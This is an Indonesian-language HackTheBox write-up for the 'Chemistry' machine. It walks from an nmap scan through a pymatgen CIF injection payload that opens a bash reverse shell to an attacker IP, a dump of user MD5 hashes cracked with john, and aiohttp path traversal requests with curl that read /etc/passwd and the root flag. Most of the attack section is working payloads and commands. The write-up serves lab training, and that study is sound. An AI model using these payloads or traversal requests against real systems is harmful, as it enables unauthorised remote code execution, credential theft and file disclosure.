Skip to content
Home » Chemistry — HackTheBox Writeup

Chemistry — HackTheBox Writeup

  • Writeup

Halo semuanya! Kali ini gw akan bahas salah satu mesin dari Hack The Box, yaitu Chemistry. Mesin ini memiliki tingkat kesulitan medium dengan fokus pada eksploitasi aplikasi CIF analyzer, password cracking, dan directory traversal untuk mendapatkan akses root.

Scanning Awal

Seperti biasa yang perlu kita lakukan diawal adalah melakukan scanning pada port target dengan menggunakan nmap.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 03:06 EST
Warning: 10.10.11.38 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.38
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Tue, 17 Dec 2024 08:07:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>

Dari hasil scan, kita menemukan 2 port terbuka:

  • Port 22: OpenSSH
  • Port 5000: Aplikasi web (Chemistry CIF Analyzer)

Enumerasi Web Application

Kita bisa lihat pada hasilnya, ada port 5000 yang terbuka. Saat kita akses, kita menemukan aplikasi “Chemistry CIF Analyzer” yang memungkinkan pengguna untuk mengupload dan menganalisis file CIF (Crystallographic Information File).

Registrasi Akun

Disini kita pilih register dan gunakan kredensial bebas:

  • Username: demo
  • Password: demo

Analisis File Example.cif

Setelah register, aplikasi memberikan kita opsi untuk upload file. Kita coba download example file yang disediakan untuk memahami strukturnya:

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Menemukan Vulnerability

Setelah penelitian, gw menemukan bahwa aplikasi ini kemungkinan menggunakan library pymatgen untuk mem-parsing file CIF, yang memiliki vulnerability yang sudah diketahui: CVE: GHSA-vgv8-5cpj-qj2f

Initial Foothold

Membuat Exploit

Gw membuat file CIF berbahaya dengan konten berikut untuk mengeksploitasi vulnerability:

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
 
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.xx.xx/1337 0>&1\'");0,0,0'
 
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

⚠️ Catatan: Ganti IP 10.10.xx.xx dengan IP kamu sendiri.

Mendapatkan Reverse Shell

  1. Setup listener terlebih dahulu: nc -lvnp 1337
  2. Upload file CIF malicious ke website
  3. View file yang sudah diupload untuk mengeksekusi payload
└─# nc -lvnp 1337                                                 
listening on [any] 1337 ...
connect to [10.10.14.67] from (UNKNOWN) [10.10.11.38] 41008
sh: 0: can't access tty; job control turned off
  1. Upgrade shell untuk mendapatkan shell yang lebih interaktif: $ python3 -c "import pty;pty.spawn('/bin/bash')"app@chemistry:~$

Mendapatkan User Flag

Menganalisis Database

Kita mengakses folder instance dan menemukan file database:

app@chemistry:~/instance$ ls
database.db

Kita unduh database ini dengan Python HTTP server:

app@chemistry:~/instance$ python3 -m http.server 9898
python3 -m http.server 9898
Serving HTTP on 0.0.0.0 port 9898 (http://0.0.0.0:9898/) ...
10.10.14.67 - - [21/Dec/2024 13:42:42] "GET /database.db HTTP/1.1" 200 -

Saat menganalisis file database, kita menemukan daftar user beserta hash passwordnya:

('risteaxel', 'Maxel9347f9724ca083b17e39555c36fd9007'),
('fabian', 'ae2edkristel6896ba7b11a62cacffbdaded457c6d92'),
('elacia', 'Mdemofe01ce2a7fbac8fafaed7c982a04'),
('usebio', 'Mfabian4e5d71f53fdd2eabdbabb233113b5dc0'),
('tania', 'gelacia4af70c80b68267012ecdac9a7e916d1e'),
('victoria', 'usebio6cad48078d0241cca9a7b322ecd073b3'),
('peter', 'taniaa4aa55e816205dc0389591c9f82f43bb'),
('carlos', 'Mvictoriac3601ad2286a4293868ec2a4bc606ba3'),
('jobert', 'Mpeter6845c17d298d95aa942127bdad2ceb9b'),
('robert', 'Mcarlos9ad48828b0955513f7cf0f7f6510c8f8'),
('rosa', 'Mjobert3dec299e06f7ed187bac06bd3b670ab2'),
('app', 'Mrobert02fcf7cfc10adc37959fb21f06c6b467'),
('admin', 'Mrosa63ed86ee9f624c7b14f1d4f43dc251a5');

Kita juga menemukan user “rosa” di direktori /home:

app@chemistry:/home$ ls
ls
app  rosa

Cracking Password Rosa

Kita fokus pada user rosa dan melakukan password cracking:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

Hasil cracking memberikan kita:

  • Username: rosa
  • Password: unicorn

Login sebagai Rosa & Mendapatkan User Flag

ssh rosa@10.10.11.38
rosa@chemistry:~$ whoami
rosa
rosa@chemistry:~$ cat user.txt 
c01b93a48a303.....

Privilege Escalation

Enumerasi dengan LinPEAS

Upload dan jalankan LinPEAS:

bash lin.sh

Dari hasil LinPEAS, kita menemukan beberapa port aktif di localhost, khususnya port 8080.

Port Forwarding

Karena port 8080 sering digunakan oleh Burpsuite, kita melakukan port forwarding ke port 8000:

ssh -L 127.0.0.1:8000:127.0.0.1:8080 rosa@10.10.11.38

Menemukan Directory Traversal Vulnerability

Kita mengakses http://127.0.0.1:8000/ dan melihat bahwa server menggunakan:

  • Python/3.9
  • aiohttp/3.9.1

Hal ini relevan dengan CVE-2024-23334, sebuah vulnerability directory traversal di aiohttp: Referensi

Enumerasi Direktori

Kita melakukan brute direktori:

dirsearch -u http://127.0.0.1:8000/ -t 50

[09:09:01] 403 -   14B  - /assets/                                          
[09:09:01] 403 -   14B  - /assets

Eksploitasi Directory Traversal

Kita menemukan direktori /assets/ dan menggunakan path traversal untuk mengakses file system:

curl -s --path-as-is "http://127.0.0.1:8000/assets/../../../../../../../../etc/passwd"

Output menunjukkan seluruh isi file /etc/passwd, memverifikasi kerentanan tersebut.

Mendapatkan Root Flag

Akhirnya, kita mengakses root flag dengan:

curl -s --path-as-is "http://127.0.0.1:8000/assets/../../../../../../../../root/root.txt"
38d95bee3e2d016eed283.......

Kesimpulan

Chemistry adalah mesin HTB yang menarik dengan berbagai vektor serangan:

  1. Eksploitasi CVE di library pymatgen untuk mendapatkan initial foothold
  2. Password cracking untuk pivoting ke user rosa
  3. Directory traversal di aiohttp untuk privilege escalation

Semoga tutorial ini bermanfaat. Happy hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *